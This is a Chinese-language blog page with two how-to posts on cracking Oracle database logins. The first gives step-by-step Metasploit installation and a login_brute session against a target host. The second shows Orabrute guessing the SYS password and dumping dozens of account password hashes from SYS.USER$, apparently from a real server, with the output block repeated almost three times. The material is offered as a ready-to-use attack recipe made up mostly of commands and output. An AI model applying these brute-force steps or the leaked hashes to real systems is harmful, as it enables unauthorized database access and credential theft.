Posts tagged oracle

Linux下安装Metasploit破解Oracle登录用户名密码

by:vitter@safechina.net
blog.securitycn.net

最近在搞oracle,一些小东西记录一下。

Metasploit是一个很好的攻击工具包,当然我们这次不是介绍这个工具包的,主要是大牛MC写 了很多oracle的工具,在最近会经常用。我主要会用到经典工具tnscmd移植到MSF中的小工具(不如pl的好用,没换行,看结果很 累),sid_brute和login_brute,用的最多的还是暴力破解oracle用户名和密码的login_brute。下面就说下怎么安装和使 用,主要是安装,因为有些需要注意的东西,请注意斜体字。

1、先装gcc编译环境 (我用的server比较惨,最小安装,系统也老,FC2。)

rpm -ivh cpp-3.3.3-7.i386.rpm
rpm -ivh glibc-kernheaders-2.4-8.44.i386.rpm
rpm -ivh glibc-headers-2.3.3-27.i386.rpm
rpm -ivh glibc-devel-2.3.3-27.i386.rpm
rpm -ivh binutils-2.15.90.0.3-5.i386.rpm
rpm -ivh gcc-3.3.3-7.i386.rpm

2、安装oracle客户端

下载:http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html
rpm包安装比较省事,当然你也可以下载压缩包安装,按照说明来装即可。

rpm -ivh oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm oracle- instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm

装完后,执行下面2条命令,同时设置在环境变量里,加入到/etc/profile最后即可:

LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib/
export LD_LIBRARY_PATH

3、装ruby

下载:http://www.ruby-lang.org/en/downloads/

tar zxvf ruby-1.8.5-p231.tar.bz2 #(这个注意下,不要装1.9的版本,否则会出现MSF不能读CSV文件的问题,报NameError uninitialized constant CSV::Reader错误)
cd ruby-1.8.5-p231
./configure
make && make install

4、装ruby-oci8

安装说明:http://ruby-oci8.rubyforge.org/en/InstallForInstantClient.html
下载:http://rubyforge.org/projects/ruby-oci8/
这个ruby-oci8-1.0.6版本或者 ruby-oci8-2.0.0都可以。
安装前要确认环境变量,即sqlplus能正常运行就可:
LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.3/client/lib
export LD_LIBRARY_PATH

tar zxvf ruby-oci8-2.0.0.tar.gz
cd ruby-oci8-2.0.0
make
make install

5、装ruby-dbi

下载:http://rubyforge.org/frs/?group_id=234
用dbi-0.2.2,一定不要新过这个版本,否则MSF会报“The dbi module is not available!”错误。

cd dbi-0.2.2
ruby setup.rb config –with=dbi,dbd_oracle #(–with=dbi,dbd_oracle这个参数一定要,否则还是报dbi错误)
ruby setup.rb setup
ruby setup.rb install

6、下载安装使用MSF

svn co http://metasploit.com/svn/framework3/trunk/ ./
./msfconsole

如果msf报错缺少openssl、zlib、gem,则需要先装下。

rpm -ivh openssl-devel-0.9.7a-35.i386.rpm
cd ruby-1.8.5-p231/ext/openssl
ruby extconf.rb
make
make install

装zlib

cd ruby-1.8.5-p231/ext/zlib
ruby extconf.rb
make
make install

装gem

tar zxvf rubygems-1.3.1.tgz
cd rubygems-1.3.1
ruby setup.rb all

一切ok就可以运行了(如果还缺别的按要求装上,用gem安装ruby模块很方便):

msf > use auxiliary/admin/oracle/login_brute
msf auxiliary(login_brute) > set RHOST 192.168.0.11
RHOST => 192.168.0.11
msf auxiliary(login_brute) > set SID oracle
SID => oracle
msf auxiliary(login_brute) > info

Name: Oracle brute forcer for known default accounts.
Version: 6876
License: Metasploit Framework License (BSD)

Provided by:
MC

Basic options:
Name Current Setting Required Description
—- ————— ——– ———–
CSVFILE /root/msf3/data/wordlists/oracle_default_passwords.csv no The file that contains a list of default accounts.
RHOST 192.168.0.11 yes The Oracle host.
RPORT 1521 yes The TNS port.
SID oracle yes The sid to authenticate with.

Description:
This module uses a list of well known authentication credentials for
bruteforcing the TNS service. A log file of discoverd credentials
can be found in ./data/wordlists/oracle_default_found.log.

References:

https://www.metasploit.com/users/mc

http://www.petefinnigan.com/default/oracle_default_passwords.csv

msf auxiliary(login_brute) > run

破解结果会存在MSF目录下data/wordlists/oracle_default_found.log文件里面。

本博原创,如转载请注明出处:

http://blog.vfocus.net

,谢谢。

通过Orabrute暴力破解oracle密码

来源:edeed

1 标准的Oracle 密码可以由英文字母,数字,#,下划线(_),美元字符($)构成,密码的最大长度为30 字符;Oracle 密码不能以”$”,”#”,”_”或任何数字开头;密码不能包含”SELECT”,”DELETE”,”CREATE”这类的Oracle/SQL 关键字。
2 Oracle 的弱算法加密机制:两个相同的用户名和密码在两台不同的Oracle 数据库机器中,将具有相同的
哈希值。这些哈希值存储在SYS.USER$表中。可以通过像DBA_USERS 这类的视图来访问。
3 Oracle 默认配置下,每个帐户如果有10 次的失败登录,此帐户将会被锁定。但是SYS 帐户在Oracle 数
据库中具有最高权限,能够做任何事情,包括启动/关闭Oracle 数据库。即使SYS 被锁定,也依然能够访问
数据库。

由前面的基础知识3,可以得知选择远程破解Oracle 的最好帐户是SYS,因为此帐户永远有效。在Oracle10g以前的版本在安装的时候并没有提示修改SYS 的默认密码,Oracle10g 虽然提示修改密码了,但是并没有检查密码的复杂性。

可以使用Orabrute 工具来进行远程破解,在使用这个工具的时候,需要系统提前安装好Sqlplus,该工具的
原理很简单,就是不停的调用Sqlplus 然后进行登录验证,帐户选择的是SYS,密码则为password.txt 中的密码单词。只要登录成功,就会调用selectpassword.sql 脚本抓取出在SYS.USER$表中的其他用户的哈希值,然后退出程序。这里有个注意的地方,当第二次运行Orabrute 的时候,需要删除或移动同目录下的前一次运行Orabrute 时生成的thepasswordsarehere.txt 和output.txt 文件。

Orabrute 的下载地址:http://www.ngssoftware.com/research/papers/oraclepasswords.zip

Orabrute 的官方文档:http://www.ngssoftware.com/research/papers/oraclepasswords.pdf

Orabrute 的使用方法为:

D:\soft\oracle\Orabrute>orabrute
Orabrute v 1.2 by Paul M. Wright and David J. Morgan:
orabrute <hostip> <port> <sid> <millitimewait>
D:\soft\oracle\Orabrute>

Orabrute 的破解速度比较慢,建议在password.txt开头加上诸如change_on_install这样你认为可能的密码。

D:\soft\oracle\Orabrute>orabrute 172.19.111.37 1521 orcl 2000
Orabrute v 1.2 by Paul M. Wright and David J. Morgan:
orabrute <hostip> <port> <sid> <millitimewait>sqlplus.exe -S -L “SYS/change_on_install@172.19.111.37:1521/orcl” as sysdba @selectpassword.sql

NAME                           PASSWORD
—————————— ——————————
SYS                            D4C5016086B2DC6A
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         D4DF7931AB130E37
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE

NAME                           PASSWORD
—————————— ——————————
OUTLN                          4A3BA55E08595C81
RECOVERY_CATALOG_OWNER
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
OEM_MONITOR
HS_ADMIN_ROLE
TRACESVR                       F9DA8977092B7B81
WDEVELOPER
AURORA$JIS$UTILITY$             000001501983169
OSE$HTTP$ADMIN                  000001198644021
AURORA$ORB$UNAUTHENTICATED     -000000728729637

NAME                           PASSWORD
—————————— ——————————
TIMESERIES_DEVELOPER
TIMESERIES_DBA
CTXAPP
TOAD                           361001117A542AC1
DBSNMP                         E066D214D5421CCC
WACOS                          1AD491DE05C669FB
UTCORE                         9C5CB992189E20D9
NMS                            5E9DEFE765774DC1
JAVA_ADMIN
JAVA_DEPLOY
SCHEDULER_ADMIN

NAME                           PASSWORD
—————————— ——————————
DIP                            CE4A36B8E06CA59C
QUEST_SL_USER
TSMSYS                         3DF26A8B17D0F29F
OEM_ADVISOR
JAVAUSERPRIV
JAVAIDPRIV
JAVASYSPRIV
JAVADEBUGPRIV
GATHER_SYSTEM_STATISTICS
LOGSTDBY_ADMINISTRATOR
GLOBAL_AQ_USER_ROLE            GLOBAL

NAME                           PASSWORD
—————————— ——————————
UTNEW                          C686642569070067
_NEXT_USER
TC_ADMIN_ROLE
TC_MGR_ROLE
TC_LDR_ROLE

49 rows selected.
NAME                           PASSWORD
—————————— ——————————
SYS                            D4C5016086B2DC6A
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         D4DF7931AB130E37
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE

NAME                           PASSWORD
—————————— ——————————
OUTLN                          4A3BA55E08595C81
RECOVERY_CATALOG_OWNER
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
OEM_MONITOR
HS_ADMIN_ROLE
TRACESVR                       F9DA8977092B7B81
WDEVELOPER
AURORA$JIS$UTILITY$             000001501983169
OSE$HTTP$ADMIN                  000001198644021
AURORA$ORB$UNAUTHENTICATED     -000000728729637

NAME                           PASSWORD
—————————— ——————————
TIMESERIES_DEVELOPER
TIMESERIES_DBA
CTXAPP
TOAD                           361001117A542AC1
DBSNMP                         E066D214D5421CCC
WACOS                          1AD491DE05C669FB
UTCORE                         9C5CB992189E20D9
NMS                            5E9DEFE765774DC1
JAVA_ADMIN
JAVA_DEPLOY
SCHEDULER_ADMIN

NAME                           PASSWORD
—————————— ——————————
DIP                            CE4A36B8E06CA59C
QUEST_SL_USER
TSMSYS                         3DF26A8B17D0F29F
OEM_ADVISOR
JAVAUSERPRIV
JAVAIDPRIV
JAVASYSPRIV
JAVADEBUGPRIV
GATHER_SYSTEM_STATISTICS
LOGSTDBY_ADMINISTRATOR
GLOBAL_AQ_USER_ROLE            GLOBAL

NAME                           PASSWORD
—————————— ——————————
UTNEW                          C686642569070067
_NEXT_USER
TC_ADMIN_ROLE
TC_MGR_ROLE
TC_LDR_ROLE

49 rows selected.
NAME                           PASSWORD
—————————— ——————————
SYS                            D4C5016086B2DC6A
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         D4DF7931AB130E37
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE

NAME                           PASSWORD
—————————— ——————————
OUTLN                          4A3BA55E08595C81
RECOVERY_CATALOG_OWNER
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
OEM_MONITOR
HS_ADMIN_ROLE
TRACESVR                       F9DA8977092B7B81
WDEVELOPER
AURORA$JIS$UTILITY$             000001501983169
OSE$HTTP$ADMIN                  000001198644021
AURORA$ORB$UNAUTHENTICATED     -000000728729637

NAME                           PASSWORD
—————————— ——————————
TIMESERIES_DEVELOPER
TIMESERIES_DBA
CTXAPP
TOAD                           361001117A542AC1
DBSNMP                         E066D214D5421CCC
WACOS                          1AD491DE05C669FB
UTCORE                         9C5CB992189E20D9
NMS                            5E9DEFE765774DC1
JAVA_ADMIN
JAVA_DEPLOY
SCHEDULER_ADMIN

NAME                           PASSWORD
—————————— ——————————
DIP                            CE4A36B8E06CA59C
QUEST_SL_USER
TSMSYS                         3DF26A8B17D0F29F
OEM_ADVISOR
JAVAUSERPRIV
JAVAIDPRIV
JAVASYSPRIV
JAVADEBUGPRIV
GATHER_SYSTEM_STATISTICS
LOGSTDBY_ADMINISTRATOR
You will need to delete or move thepasswordsare.txt file before running again.
D:\soft\oracle\Orabrute>

最后查看当前目录下的thepasswordsare.txt文件即可。